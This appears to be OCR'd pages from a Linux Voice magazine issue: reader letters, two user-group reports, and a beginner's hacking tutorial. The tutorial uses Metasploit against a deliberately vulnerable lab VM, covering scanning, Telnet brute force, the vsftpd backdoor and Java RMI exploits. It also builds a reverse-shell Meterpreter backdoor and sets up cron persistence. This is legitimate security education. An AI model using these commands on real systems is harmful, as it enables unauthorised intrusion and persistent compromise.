   So reading that Fortran 77             it was a celebration that Canonical       keeps rolling. Likewise with the app       a completely free
finally had freeform source (so you       has managed what always looked            ecosystem. Yes, it’s small now (which      software hardware
could automate program layout)            impossible. To get a mass market          we acknowledge in the review of            product into an already
and dynamic memory allocation             device on sale, running Linux and         the BQ phone on page 50), but do           crowded market.
(presumably meaning that you              open source applications, is an epic      you think it’s likely to get bigger, or
could set array dimensions at             win. It may not be a total, crushing      smaller? The developer tools Ubuntu
runtime) made me laugh a little.          victory yet, but realistically, nothing   has launched with the phone OS are
We had that, and more, almost             ever is. You launch a product in one      brilliant, and nature abhors a vacuum.
twenty years before. Unfortunately        territory, use that to demonstrate a      The only way is up.
what Algol didn’t have was any
defined I/O routines so portability
was a mere dream. And not having
IBM on board didn’t help.
                                          YOU OLD GIT
   On the other hand how many             It’s easy to take GitHub for granted
languages descend from Fortran?           now, but I’ve been tinkering with
Because Algol 60 is the ancestor          free software for a while now and I
of scores, including C.                   remember where it all came from.
Tom Groves, Kent                          And it wouldn’t have happened if
                                          everyone had played by the rules
Andrew says: It’s as if you read our      and done as they were told.
mind (well, Juliet’s mind anyway). On         Ten years ago in April, Git
page 100 she’s uncovering ALGOL 60,       was born. Linus and the kernel
the reasons it’s been so influential in   were getting along fine without
language design and its shortcomings      it, using a proprietary system
when compared with FORTRAN and            called BitKeeper. Yes, the Linux
COBOL. Proof that the race goes not       kernel was hosted on proprietary
to the swiftest, nor the battle to the    software back in those days
                                                                                                                               This page was brought
strongest, but to the one with the        (nowadays I imagine Apple would           dispute: the other kernel maintainer
                                                                                                                               to you by the word
biggest marketing budget and the          just have bought the software             was Andrew Tridgell, and he forked         ‘ecosystem’.
backing of IBM.                           out from under the kernel and             BitKeeper against its licence terms.
                                          claimed ownership over the code,          There was quite a lot of friction, as
                                          or something just as nefarious).          I remember, but it’s all but forgotten
                                          But after a dispute with one of the       now, which is a tremendous tribute to
                                          other kernel maintainers, Linus           how well Git works. GitHub is really
                                          write his own software, and the           just a hosting service, but in its few
                                          rest is history. GNU and Linux get        years of existence it has become, as
                                          a lot of credit, and rightly so, but      you say, part of the plumbing. It’s hard
                                          Git is part of the plumbing of Free       to imagine how much more slowly
                                          Software, so thanks, Linus.               development would continue were it
                                          James O’Rourke, Ohio                      not for this stuff. Linux is so much
It’s from the late 1950s, but you can                                               more than just the kernel – it’s an
try ALGOL today on page 100.              Graham says: It was more than just a      entire ecosystem.



14
 COMING SOON     FROM THE TEAM AT LINUX VOICE
                                                                     *



            Beep Beep Yarr!
           An adventure story for young minds – featuring pirates,
                    robots and computer programming.


 Order from
  28 Jan on
 Kickstarter!
www.linuxvoice.com/book




                                *With your help!
     LUGS ON TOUR




LUGS ON TOUR
FLOSS UK DevOps Spring Conference
Josette Garcia reports on the UK’s oldest computer group meeting in one of the UK’s oldest cities.


S
        pecifically aimed at systems     Limited). Coming equally from
        and network administrators,      academia and the commercial
        the FLOSS UK’s DevOps            world, the 100 delegates sat on
Spring conference took place on          Wednesday to listen to Wim
24–26 March, in the historic city        Godden on “Intrusion detection
of York. I am told York is beautiful     through backup (and other security
but unfortunately, I did not have the    tricks)”. Unfortunately Wim had to
time to stroll around the old streets,   cancel at the last minute – part of
I just had a peep at the city wall on    the joy of organising a conference.
my way to the station.                   Fortunately John Leach from
    Created in 1976, FLOSS UK,           Brightbox Systems Ltd talked on
previously known as UKUUG, is            Docker. He set the high standards
one of the oldest computer science       expected at this conference.
user groups in the UK, and probably         There seemed to be a lot of
in the world. Peter Gray published       talks on the different Configuration
                                                                                Puppet was a popular subject this year, and we’ve got an in-depth
the first UK Universities UNIX           Management tools such as Puppet,       tutorial on p96 (photo: Mark Keating, Shadowcat Systems Ltd.)
Newsletter in December 1976. He          Ansible and some new ones such
was later elected secretary as well      as Rexify and cdx.                                                offered more prizes. The
as newsletter editor. Alistair Kilgour      Among the most popular talks,                                  conference dinner was held in the
was elected as the first chairman.                                                                         Merchant Adventurers’ Hall, which
Today’s newsletter editor is Paul                                                                          is over 650 years old. One could
Waring, from Manchester University         “FLOSS UK is one of the                                         only wonder what the medieval
and the chairman is Kimball                oldest computer science                                         merchants would have made of the
Johnson from Chef. Following                                                                               conversations the hall was filled
technology development, the once           groups in the UK.”                                              with that night. After the initial cries
pure Unix group now includes Linux                                                                         of “Witchcraft!” died down, I would
and cares about anything to do with      we had:                                                           imagine that the merchants and the
free software.                              Open Source Monitoring with                                    techies would eventually sit down
                                            Icinga by Bernd Erk, Netways.                                  to discuss their mutual interest in
Spring conference                           Intrusion Detection using the                                  business and networking.
The conference was held at the              Linux Audit System by Stephen                                     I should add that to attend this
Hilton, opposite the rather imposing        Quinney, School of Informatics,                                conference, delegates have to
Clifford’s Tower – a remnant of             University of Edinburgh.                                       become a member of FLOSS UK at
York Castle built in 1068. It followed      State of PostgreSQL Database                                   the cost of £42 per year.
the fate of old buildings by being          2015 by Dr Gianni Ciolli,                                         Floss UK organises other events:
destroyed and rebuilt several time.         2ndQuadrant’s developer,                                          OpenTech, London, 13 June, all
Unfortunately this tower is also            consultant and trainer.                                           about Open Data.
known for the massacre or mass              I am very proud to say that my                                    Dynamic Languages Conference,
suicide (depending of which article      colleague, Dr Gianni Ciolli, was                                     Manchester, 20 June.
you read) of the entire York Jewish      voted best speaker and went home
community of 150 members.                with a nice box of chocolate. The                                    TELL US ABOUT YOUR LUG!
   The first day was dedicated to        best lightning talk speaker prize
tutorials – a full day on Large-scale    was shared between Matt Trout                                        We want to know more about your
System Design (Google Workshop)          with “Stupid Systems Tricks” and                                     LUG or hackspace, so please write
                                                                                                              to us at lugs@linuxvoice.com and
and two half-days on Practical           Bruce Duncan “Regularly useful
                                                                                                              we might send one of our roving
Digital Forensics (Tim Fletcher) and     bash keys”. The sponsors, Google,                                    reporters to your next LUG meeting.
Zero to Perl (Shadowcat Systems          Eligo, O’Reilly and 2ndQuadrant



16                                                           www.linuxvoice.com
                                                                                                                       LUGS ON TOUR



Introduction to Linux for technical writers
Linux experts at IBM are reaching out to embrace new users…



A
         drian Warman and Kevin Safford           the class. An additional benefit was that, by
         both work at IBM’s development lab       taking it away with them after the class,
         at Hursley Park, Hampshire. They         students could easily try Linux for
recently ran a short Linux taster session for     themselves at a pace and location that
technical writers. Linux Voice finds out more.    suited them. Many IBM software products
                                                  run on a variety of supported versions of
       What prompted you to run a Linux           Linux. Using a live CD was a great way to
      taster session? Isn’t that a bit basic      help the writers try out typical tasks on
for workers in IT?                                Linux, and so get that real ‘Business As
KS: Staff here have various technical skills.     Usual’ feel. We covered tasks like starting
The course is aimed at writers who use            and stopping applications, as well as finding
Windows at work, but who are producing            and installing packages. These skills are
documentation for users on a number of            essential when writers are explaining how to
platforms, including Linux. Some of the           do tasks on a Linux platform.
writers have access to Linux test machines,
but are perhaps not so sure how to get                    How did it go?
started with everyday tasks using Linux. If              AW: It went well. Many of the writers
we can help the writers then we can take          brought in their own laptops, so one of the
some of the load off developers.                  first things we had to do for them was find
AW: Over the last year, the technical writing     out which key to press to boot from the USB        We’re happy to run free advertising for our open
environment has changed. Many people              memory stick. Once we’d got past that, the         source events – just get in touch!
who traditionally used MS Word are now            writers were soon clicking away and
using (or have to use) new tools such as          familiarising themselves with their new            machine on Linux. But we also showed how
DITA. Additionally, some people are looking       operating system.                                  easy it is to connect from Linux to a remote
to save costs by working on Linux. And, of                                                           Windows computer. IBM has a lot of
course, people are increasingly having to                 Did you just leave them to it?             expertise with virtual and cloud
develop the documentation for products                   AW: No, we had plenty of specially          technologies, so this was a great way of
that actually run on Linux. So this course        designed tasks to guide them. As you might         solving the problem.
was designed for both of these groups of          expect, there were all sorts of different levels   KS: For fun, we showed them how easy it is
people.                                           of experience, so very quickly people tried        to do internet banking from a live USB stick.
                                                  different things and went at different paces.      We also gave the writers a list of resources
       How did you get them interested in         At frequent intervals, we would get everyone       that would help if they’re thinking about
       learning about Linux?                      to pause while we looked at a typical task,        switching to Linux. I told them about the
KS: We made it clear that the taster session      such as sending or receiving email, or             great help I’ve had from the Linux
was aimed at writers and that it would help       creating (and checking!) backups.                  community, including Linux Voice.
them be more technical. Although not all          KS: I brought along my home laptop, which
writers initially think that they want to be      runs Mint 17 Mate, which is popular with                  Did you make any converts?
more technical, we have found that it helps       many Linux users. Running different                      KS: Most were really positive. Some
them become better writers. Of course,            distributions helped us show the writers           people with old PCs were particularly
some already recognise this and specifically      different desktops, which is a novelty for         interested. Many were understandably
want the technical detail as part of              Windows users. We explained some of the            cautious, and said they would try the home
improving their technical skills on a platform.   differences between the various                    route before switching to Linux at work. But
  We also find that many writers want             distributions of Linux, such as desktop,           others were keen to try out safer internet
to breathe new life into their old home           package management, and so on. This is             banking using Linux.
computers by using Linux, so this course          important because some distributions are
helps them too.                                   created with older machines in mind.                     Any plans for a follow-up?
                                                     Not surprisingly, there was a lot of interest         KS: Somebody suggested running a
       What did you cover?                        in alternatives to day-to-day Windows              session on other Linux concepts that they’ve
       AW: We decided to use a live CD            programs. For example, what is the                 come across – like sudo (for power users),
environment so that everyone could have a         equivalent to MS Office? Linux gives you the       and creating drives that span multiple disks,
hands-on experience of Linux during the           choice of LibreOffice or Apache OpenOffice.        or running Linux in headless mode. These
session. I asked everybody to bring a USB         AW: On the rare occasions that a tool is only      are powerful capabilities, but often don’t
memory stick beforehand, so that I could          available on Windows, a pragmatic and easy         mean much to Windows users. We’ll see
install the live CD configuration used during     solution is to simply run Windows in a virtual     what the demand for a follow-up is like.



                                                              www.linuxvoice.com                                                                  17
     HACKING: A BEGINNER’S GUIDE




HACKING
A BEGINNER’S GUIDE
                     Learn the way of the cracker, with your Defence Against
                          the Dark Arts master, Professor Ben Everard.




 Y
          ou’re not being paranoid: hackers really are out to get you    and black-hat hackers (who are trying to break in for their own
          (and everyone else) and exploit you for profit. Cybercrime     ends) – The Metasploit Framework.
          is already a huge problem. A survey for Get Safe Online          Metasploit can help with just about every aspect of an online
 Week (an initiative by Get Safe Online, a public/private partnership    attack. It’s open source, and includes a huge variety of exploits
 supported by the UK government) in 2014 found that over half of         for known vulnerabilities as well as various scanners, and other
 the people surveyed had been victims online. As more and more           tools. In this article, we’ll use it to investigate the victim, run
 devices are connected to the internet,                                                                  some exploits, and then extract all
 the problem is only going to get bigger.
    The only effective defence
                                           “A solid grasp of computer                                    the information we need from the
                                                                                                         compromised computer. In order to
 against online crime is knowledge.        security should be considered                                 practice hacking, you need a machine
 Understanding the tools and
 techniques that the bad guys are using
                                           essential for everyone.”                                      to hack into. By far the best option for
                                                                                                         this is a virtual machine. Using a virtual
 will enable you to make sure you don’t                                                                  machine enables you to quickly create
 fall prey to their attacks. A solid grasp of computer security should   a machine that has a lot of vulnerabilities, and limit access so it’s
 be considered essential for everyone, and here at Linux Voice, we       protected from any nefarious people on your network. We’re going
 believe in learning by doing. We’re going to look at one of the most    to set up a hacking lab using VirtualBox. The first thing you need to
 popular attack tools used by both penetration testers (who are          do is install the software through your package manager. This is
 trying to help people make their computer systems more secure)          usually in a package called virtualbox.




18                                                          www.linuxvoice.com
                                                                                             HACKING: A BEGINNER’S GUIDE


Set up your environment
Building the perfect virtual lab to sharpen your hacking skills


O
          nce you have VirtualBox, you need
          some virtual machines to run on it.
          We’ll use two: a victim and a target.
For the victim, we’ll use a specially created
vulnerable Linux distro called Metasploitable
2, which is available from http://
sourceforge.net/projects/metasploitable/
files/Metasploitable2. This will download a
ZIP file that contains a folder of virtual hard
drive files. Extract it, then open VirtualBox.
Create a new machine, Give it a name, and
select the type as ‘Linux, Ubuntu 32 bit’.
   On the next screen, you can select the
amount of RAM. This machine doesn’t
need much – 512MB should be fine. After
clicking through, you’ll be asked to select a
hard disk. Check the Use An Existing Disk
option. There’s a button next to this option
that looks a little like a folder icon. You can   Virtual machines and networks behave exactly like the real thing, so they provide the perfect
use this to open a new dialog where you can       environment for hacking – without risking your getting into trouble.
select the metasploitable2.vmdk file that
you’ve just extracted from the downloaded            With the network created, you need to           to get started is with a distro designed for
ZIP. Hit Create to make the virtual machine.      attach your virtual machine to it. Right-click     penetration testers. The most popular of
                                                  on the Metasploitable 2 virtual machine and        these is Kali (www.kali.org). You can run this
Networking                                        select Settings from the pop-up menu. Go to        live in a virtual machine.
Before starting the machine, you need to set      the Network tab and change the ‘Attached              Download the ISO file from https://
up a virtual network. Using a virtual network     To’ drop-down to Host-Only Adaptor. The            www.kali.org/downloads, then open
rather than a real one will keep your victim      network name should match the network              VirtualBox and click on Add to setup a new
machine safe from any other threats. In           you just created.                                  virtual machine. In the first screen, you
VirtualBox, go to File > Preferences, then           Now you’ve got something to attack, you         can give it a name and select 32- or 64-bit
Network > Host Only Network. Click on the         need the tools to attack it. Many distros          Ubuntu (depending on which version you
plus sign icon, and it will create a new entry    include Metasploit and other hacking tools         downloaded). On the next screen, you can
in the list – this is the new virtual network.    in their repositories. However, they can be a      allocate memory for the virtual machine.
Click on OK.                                      bit convoluted to set up, so the easiest way       Try to give it at least 2GB, though if you’ve
                                                                                                     got less than 4GB on the system, you might
                                                                                                     need to reduce this
                                                                                                        Since we’ll be running Kali live, we don’t
                                                                                                     need any storage, so select ‘Do Not Add A
                                                                                                     Virtual Hard Drive’. Then click on Create, and
                                                                                                     the machine will be added to the list on the
                                                                                                     left-hand side of the VirtualBox window.
                                                                                                        As with the previous machine, you need
                                                                                                     to go into Settings and change the network
                                                                                                     adaptor to host-only (though you don’t need
                                                                                                     to repeat the step of creating the network).
                                                                                                        Everything’s now set up, so you can start
                                                                                                     both machines. When you start the Kali
                                                                                                     virtual machine, it will prompt you to add
                                                                                                     a bootable CD. Click on the directory icon
                                                                                                     and navigate to your recently downloaded
                                                                                                     Kali ISO. This should now boot into the Kali
                                                                                                     graphical desktop (based on Gnome).
                                                                                                        Metasploitable will boot to a command
You can customise most aspects of the virtual machine from within VirtualBox’s settings window.      line, but we don’t need to interact with it. All
You can adjust the RAM, add storage, give the VM access to multiple CPU cores and more.              the software we need is started by default.



                                                              www.linuxvoice.com                                                                  19
     HACKING: A BEGINNER’S GUIDE


Gather information
Knowledge is power, so grab a power-up.


W
              hen you want to launch an
              attack, the very first step is to
              investigate what you are
attacking. It could be one machine, or it
could be a whole organisation. You might
just go after the computers, or you might
also be able to use social engineering to get
information out of people. If you’re
performing a penetration test, you need to
agree exactly what you’re allowed to attack,
and what you’re not. For the purposes of this
article, we’ll just attack the Metasploitable
server and nothing else. Our attack surface,
then, is everything on that server, but not the
underlying network or vitualisation tools.
   Once we’ve identified the attack surface,
we need to look at everything on it in detail
to find out where vulnerabilities may lie, but
before we get to that, we need to set up the
software. Almost all of the work we’ll do
in our attack will be in Metasploit. This is a
framework for conducting penetration tests,
and works at every step along the way.
   Before we begin information gathering, we            If you don’t like the command line format of Nmap, you can use Zenmap to provide an easy-to-use
need to start the required services. In Kali,           GUI – however, this doesn’t integrate as well with Metasploit.
open a terminal and enter the following.
service postgresql start                                Without this, you won’t have access to the            mean that some server software is listening
service metasploit start                                full features of Metasploit.                          and capable of receiving data, and anything
   There are quite a few components to                     Now it’s time to begin the intelligence-           that can receive data can be attacked.
Metasploit, and even a web interface. We,               gathering stage of the penetration test. One             The most powerful tool for gathering
like many penetration testers, prefer to use            key thing here is to find out what you could          information about open ports is Nmap, and
the console interface, MSFConsole. This                 attack, and that means discovering what’s             Metasploit includes the ability to run Nmap
provides a terminal-like interface with the             running on the server.                                without leaving the MSFconsole. First, you
ability to run all sorts of scans and attacks.                                                                need to know the IP address of the target.
You can start this with:                                Scanning ports                                        You may not know this precisely, but you
msfconsole                                              First, we need to look at what ports are              should know that it’s on the same network
  The first thing to do is make sure that your          open (ports are numbered access points                as your machine, so you can find out the IP
MSFConsole session has properly connected               on a computer interface that allow a client           address of the attacking machine with:
to the database. You can do this with:                  to send data to the correct piece of server           ifconfig
db_status                                               software running on a server). Open ports                You should see an IP address (labelled
                                                                                                              inet addr) in the eth0 block. In our case,
                                                                                                              it was 192.168.56.102. Other machines
  Legalities                                                                                                  on the same network should have similar
  What we cover in this article is running some         investigate someone else’s security, make sure        addresses, so you can scan a range using:
  attacks on a test server you’ve set up on your        you get written permission before starting. Many      db_nmap -sS -A 102.168.56.100-120
  own machine. Since everything is virtualised,         legal jurisdictions take a very hard line against     Here we’ve used the options -sS (SYN scan,
  nothing should even leave your machine, so            computer crime, and gaining unauthorised access
                                                                                                              which checks for TCP handshakes) and
  everything we’re doing is perfectly legal. However,   (or even attempting to) can land you in a huge
  the techniques and tools used in this article         amount of trouble. Just don’t do it.                  -A (enable OS detection). It may take a few
  can land you in a lot of trouble if you use them         This article is written to educate computer        minutes to run.
  against other computers that you don’t own. The       users about the techniques that bad guys are             This will find quite a few servers running
  courts won’t care whether you’re doing it because     using, and as such, we’ve focussed on the attacks.    on the target machine, and it will save
  you’re just interested in computer security, if       We haven’t talked at all about how to avoid getting
                                                                                                              them all in the database. You can pull the
  you’re trying to make a profit, or if you’re just     caught – therefore, if you try this method out
  searching for evidence of extraterrestrial life, as   against a real victim, there’s a very good chance     information about running services from the
  Gary McKinnon found out. If you are asked to          you will get caught. Again, don’t do it.              database at any time with:
                                                                                                              services



20                                                                    www.linuxvoice.com
                                                                                                    HACKING: A BEGINNER’S GUIDE

  You can also see what computers the
scan discovered with:                                 Websites
hosts
                                                      You may have noticed that in Metasploitable’s
  As we move on, we’ll also use the                   list of services there was an Apache server
commands creds (to show the stored                    running on port 80. This could potentially be
credentials in the database) and vulns (to            used as another attack vector, but Metasploit
show which vulnerabilities work).                     isn’t the best tool for scanning websites. If you
                                                      open the web browser (IceWeasel), and point
                                                      it to the IP address of the target you’ll be able
Extra features                                        to see what’s running. You should find that it’s
The more details you have about a particular          TikiWiki, DVWA, Mutildae and WebDav. DVWA and
service, the more likely you are to                   Mutildae are deliberately insecure web apps,
successfully exploit it. Metasploit also              with Multidae in particular being vulnerable to
                                                      just about every exploit there is. There are many
includes a few extra scanners that we can             ways of attacking them – try it!
use to find out more about particular
features of the target. The Nmap scan didn’t
bring back much information about the                  You should now notice that the command                You can set and change options with the
Samba service, so now we can use an                 line has changed to:                                  set command. However, since we’ll be using
additional module to find out more.                 msf auxiliary(smb_version) >                          a few modules that all have the RHOSTS
   Modules are the parts of Metasploit that         This means that the module loaded                     option, we’ll use the setg (set globally)
do all the actual                                                                 successfully.           command, which sets the option for all
work. Through
this article you’ll
                     “Now you have all the                                        Modules each
                                                                                  have a set of
                                                                                                          modules.
                                                                                                          setg RHOSTS 192.168.56.101
see how they         information you need to start                                options that                You may need to change this if the IP
can be used to
scan, attack and
                     attacking vulnerable services.”                              you need to set
                                                                                  before you can
                                                                                                          address of your Metasploitable VM is
                                                                                                          different. Once you’ve done this, you can
exploit targets.                                                                  run them. You           enter show options again to make sure
There are thousands of different ones               can see what options a module has with the            it’s picked it up, then enter run to run the
available, and more get written every day. An       command show options. If you run this now,            module. If you run services again, you’ll see
important part of learning to use Metasploit        you’ll see that there are five options, but only      that you now have a little more information
is becoming familiar with the different             two are required, and only one of these is            about port 445. Now you have all the
modules available, and this takes time and          missing: RHOSTS. This stands for Remote               information you need to start attacking
experience.                                         Hosts – in other words, it’s the computers            vulnerable services. In the next section, we’ll
   The simplest way to get started with             you want to attack.                                   put this information to use…
modules is to use the search function to
help find what you need.
search smb
   This will show all the modules that include
a reference to SMB (a common abbreviation
for Samba). You’ll see how the different
types of modules work later on, but for
now we’re interested in auxiliary/scanner
modules. Specifically, auxiliary/scanner/
smb/smb_version. You can use this with:
use auxiliary/scanner/smb/smb_version



  Vulnerability databases
  Once we’ve discovered what servers are
  running, we need to see if there are any known
  vulnerabilities on these server versions. When
  security researchers discover a vulnerability,
  they assign a unique CVE number to it (Common
  Vulnerabilities and Exposures). This means that
  it can be tracked from discovery to fix.
      There are a few online databases of CVEs
  that we can look at. Generally, CVEs are only
  made public after a fix has been issued, so if
  the administrator has kept the system up to
  date, this won’t be of much use. However, some
  admins don’t keep everything fully updated,
  leaving their networks potentially vulnerable.
                                                    Each time you load MSFConsole, you get a different ASCII art welcome message.



                                                                 www.linuxvoice.com                                                                   21
     HACKING: A BEGINNER’S GUIDE


Exploiting the victim
Gaining access to a remote host


E
        xploitation is the part of penetration
        testing where you actually break into
        the victim (or, at least, you try to).
Again, we’ll use MSFConsole to manage our
attacks. We saw the Telnet service in the
scan, so the first attack we’ll try is a simple
Telnet brute force attack (brute force attacks
are where you just try lots of login details in
the hope of finding valid credentials).
  First, you need to find the right module
with:
search telnet
  The module we’ll use is auxiliary/scanner/
telnet/telnet_login, so we’ll enable this with:
use auxiliary/scanner/telnet/telnet_login
  There are some options that we can use
to specify how we want this module to run.
You can see them with:
show options
  The most basic one is RHOSTS, which is
the Remote Host(s) that we want to attack,
but this should already be set, because
we used setg in the previous module. We
also need to specify what usernames and
passwords we want to use in the brute
force attempt. There are various word lists            Kali contains just about every useful security tool that’s available for Linux, so time browsing
included with Kali at /usr/share/wordlists/.           through the menus is time well spent.
Telnet brute force attacks are quite slow, so
we need to use a fairly short list, or leave it           With these set, you can enter run to                   You can view all the sessions with the
running for a very long time. You can set the          begin the attack. This one will take a little           command sessions, then attach to one with:
options using the set command:                         time to execute. As it does, it will show               sessions -i <number>
set RHOSTS 192.168.56.101                              which logins aren’t working (with a blue                   Where <number> is taken from the
set USER_FILE /usr/share/wordlist/metasploit/          minus sign), and which are (with a green                sessions list. This will drop you into a normal
unix_users.txt                                         plus sign). It will also save all the found             Linux session for the user, and you can
set USER_AS_PASS true                                  credentials to the database (you can view               do whatever the user can do. When you’re
  You may have to change RHOSTS if your                them with the command creds), and it will               finished, you can press Ctrl+Z to exit the
target machine is at a different IP to this            open sessions for each set of credentials.              session (but keep it open).
one. We haven’t specified a password list.             Sessions are connections to the victim that
Instead we’ve said that we want to try the             you can interact with. These are usually shell          Gaining root
username as the password for each user.                sessions (the same as when you open a                   The previous attack exploited users who
This will run quickly, but it relies on users          terminal on Linux), but not always. We’ll see           hadn’t created secure passwords; now we
being very careless.                                   another type of session in a future attack.             can take a look at an exploit that attacks a
                                                                                                               software vulnerability.
                                                                                                                  Entering services will give you the list
  White-hat hacking
                                                                                                               of open ports that you discovered in the
  Penetration testing and white-hat hacking are        of your motives. If you want to start white-hat         intelligence gathering stage. All of these
  the process of attacking a piece of software in      hacking, then trying out the other vulnerabilities      can be attacked, and all are vulnerable in
  order to report any vulnerabilities you find so      on Metasploitable 2 is a great way to start. Once
                                                                                                               one way or another. As you gain experience,
  that the software can be made more secure.           you’ve done that, you could try installing a piece of
  Some companies have rules that allow white-hat       open source server software (such as WordPress or       you’ll learn which services are good sources
  hackers to attack certain parts of their systems     OwnCloud) in a virtual machine, and trying to break     of vulnerabilities, and where you are likely to
  (such as Facebook: https://www.facebook.com/         in. Should you find any vulnerabilities, be sure to     find fruitful attacks. For now, let’s just start
  whitehat). However, if a company doesn’t have        follow that project’s security issues disclosure        at the top with vsftp.
  specific rules for white-hat hacking, or you don’t   policy to give the developers a chance to fix the
                                                                                                                  Enter the following to get all Metasploit
  have permission, then you could get into legal       problem before making it public. Happy hacking!
  trouble if you attempt to break in, regardless                                                               modules related to vsftp:
                                                                                                               search vsftp



22                                                                   www.linuxvoice.com
                                                                                                    HACKING: A BEGINNER’S GUIDE

   Only one result is returned: exploit/unix/
ftp/vsftp_234_backdoor. The description               Automatic scanning tools
tells us that this affects VSFTP version 2.3.4,
                                                      Attackers can use brute-force tools to identify          Automatic vulnerability scanners are a useful
which is what’s running on the server. It
                                                      any exploitable vulnerabilities. These tools flood    tool that a penetration tester can use, but they
looks like this will be a good attack. Enter the      the target with huge numbers of requests looking      aren’t a replacement for skill or experience.
following to select the module:                       for all signs of any known vulnerabilites, and then
use exploit/unix/ftp/vsftp_234_backdoor               report back which problems they find. There are
  Then you need to set the RHOST option               quite a few different scanners, such as:
                                                        w3af A web application security scanner
so the exploit knows what the target is:
                                                        Nessus A commercial tool for scanning servers
set RHOST 192.168.56.101                                wp-scan A scanner for WordPress vulnerabilities
   Now you just need to enter run to attack             sql-map A tool specialised in SQL injection
the victim. Once you’re in the shell, you               vulnerabilities
can enter whoami to find out what user                   There are a few problems with automated
                                                      scanners. First, they can report problems where
privileges you have. You should find that
                                                      there aren’t any. These false positives take
you’re logged in as root. This vulnerability          time to investigate, and can end up being more
is a deliberate backdoor designed to                  cumbersome than running scans manually. They
compromise the entire system, and as                  can also miss some vulnerabilities, which can lead
                                                      to a false sense of security, and they send a huge    w3af can automatically crawl a web app and
you’ve just seen, it can do just that.
                                                      number of requests, which can alert the target        identify a large number of vulnerabilities.
   Before moving on to look at what we can                                                                  However, it will also miss many that a human
                                                      to the attack. Whether or not this is a problem
do once we’ve compromised a computer,                 depends on the terms of the penetration test.         penetration tester would find easily.
we’ll look at one final attack that ends with
something a little different to a normal Bash
shell. We’ll attack the Java RMI Registry           use exploit/multi/misc/java_rmi_server                  The software that we get the exploit to run is
server to achieve this.                                Again, there are some options that we                called the payload. There are different types
   As before, the first stage is to find an         can use to customise the behaviour, so                  of payload for doing different things, and
appropriate exploit. This is done with:             enter show options to see what they are.                different ones are compatible with different
search rmi                                                                    You’ll need to set            victims. If you enter the following, you’ll see
   This returns
quite a few           “Now we can take a look at                              RHOST again to the
                                                                              IP address of the
                                                                                                            a list of payloads that are compatible with
                                                                                                            the currently selected exploit:
exploits, but         an exploit that attacks a                               victim.                       show payloads
most of them
are for Windows.      vulnerability in software.”                                The previous
                                                                              attacks have
                                                                                                              We’ll use the java meterpreter bind_tcp
                                                                                                            payload, which will create a Meterpreter
The one we’re                                                                 opened shell                  session and allow us command line access
interested in is exploit/multi/misc/java_rmi_       sessions on the server, but this one is a bit           to the victim. Enter the following to set the
server. You can use this with:                      different: this attack enables us to run code.          payload:
                                                                                                            set payload java/meterpreter/bind_tcp
                                                                                                              Once this is set, you can enter run to
                                                                                                            exploit the victim. Once it’s finished the
                                                                                                            exploit, you should see the command
                                                                                                            prompt change to:
                                                                                                            meterpreter >
                                                                                                              This means that you’re running a
                                                                                                            Meterpreter shell on the victim’s machine.
                                                                                                            We’ll look into exactly what this means in
                                                                                                            the next page. For now, we’ll just check what
                                                                                                            permissions we’ve got:
                                                                                                            meterpreter > shell
                                                                                                            whoami
                                                                                                            root
                                                                                                            exit
                                                                                                            meterpreter > background
                                                                                                               You’ve now seen a few different exploits
                                                                                                            that get access to the victim. In the real
                                                                                                            world, learning how to find exploits that
                                                                                                            work on victims is a huge part of penetration
                                                                                                            testing, and it relies on good information
                                                                                                            gathering, a bit of guile and plenty of
                                                                                                            experience. Now we’ll go on and take a look
The different payloads work in different ways to provide the attacker with access to the target             at what we can do once you’ve successfully
system, and selecting the right one can help you avoid detection.                                           exploited a victim.



                                                                 www.linuxvoice.com                                                                            23
     HACKING: A BEGINNER’S GUIDE


Post exploit
What to do after you’ve broken in


T
         he vulnerability you’ve exploited
         could be patched at any moment, so
         the most important thing is to make
sure you keep access to the machine. One
way to maintain access is to install a
backdoor to the machine. Metasploit comes
with a few useful tools to help us do this.
The MSFPayload command is used to build
standalone executables that, when run,
execute different payloads like the ones you
can deliver through exploits. We’ll use it to
create a backdoor.
  This isn’t run through MSFConsole; you
you’ll need to open a new terminal and run
the following:
msfpayload linux/x86/meterpreter/reverse_tcp
LHOST=192.168.56.102 LPORT=1337 X > backdoor
   This tells MSFPayload to use the reverse        The website cve-details.com provides information on every reported vulnerability in software, and
TCP version of Meterpreter for x86 Linux.          is a great place to start when trying to find a way into a machine.
The two options are the listening server and
port. Note that this time it’s the machine         working directory and the remote working           backdoor run once every five minutes.
that you’re attacking from, not the machine        directory. This is useful for when you want        */5 * * * * /root/backdoor
you’re attacking (as with the RHOST options        to transfer files between the two. The cd             This should ensure that we constantly
used in exploits). The X option is to make         command (and other commands such as                have a connection even if it gets dropped at
it an executable. By default, MSFPayload           pwd and ls) all run on the server using the        some point. The commands you need to do
dumps the output to the terminal, so to            remote working directory. The lcd (and lpwd)       all this in the shell are:
make an executable file, we just need              do the same but on the local directory.            shell
to redirect this to a file. We called ours            The commands upload and download are            cd /root
backdoor, but you may wish to name yours           then used to transfer files between the local      chmod +x backdoor
something a little less conspicuous.               working directory and the remote working           (crontab -l; echo “*/5 * * * * /root/backdoor”) |
   Now we’ll use the Meterpreter session           directory. The upload command goes from            crontab -
from the previous exploit to insert this           local to remote, so that’s the one we need to      exit
backdoor. Switch back to the session               put our backdoor on the victim’s computer.            We’ve edited the crontab this way (rather
(using session -i <number>), and enter the            The shell command drops us into a               than by using an interactive editor) because
following:                                         regular shell. Here we need to make sure           the Meterpreter shell can be a bit odd with
cd /root                                           the backdoor is executable, and make it run.       Ctrl and Escape, so it’s generally easier to
lcd /root                                          There are many ways of getting a command           avoid using interactive programs in the shell.
upload backdoor                                    to run automatically in Linux, but one of the      If you want to edit a text file, you can edit
 Unlike a normal shell, Meterpreter                easiest is to use cron. Adding the following       command in Meterpreter.
maintains two working directories, the local       line to the crontab file will make the                Now the backdoor is uploaded and
                                                                                                      running (or will be in under five minutes), you
                                                                                                      need to set up a listener for this payload.
                                                                                                      First, exit the Meterpreter shell with:
                                                                                                      background
                                                                                                      This will leave the session open, so you can
                                                                                                      rejoin it later with sessions -i <number>.
                                                                                                         Now you need to start a handler running.
                                                                                                      This is one of the Metasploit exploit modules.
                                                                                                      You just need to set the appropriate options
                                                                                                      and run it:
                                                                                                      use exploit/multi/handler
                                                                                                      set payload linux/x86/meterpreter/reverse_tcp
                                                                                                      set LHOST 192.168.56.102
A hacked server can be a great place for launching social engineering attacks like this one using a   set LPORT 1337
clone of Facebook powered by the Social Engineer’s Toolkit that we looked at in issue 11.             run



24                                                              www.linuxvoice.com
                                                                                                                      HACKING: A BEGINNER’S GUIDE

  It may take a little while (up to five
minutes) before the victim connects back
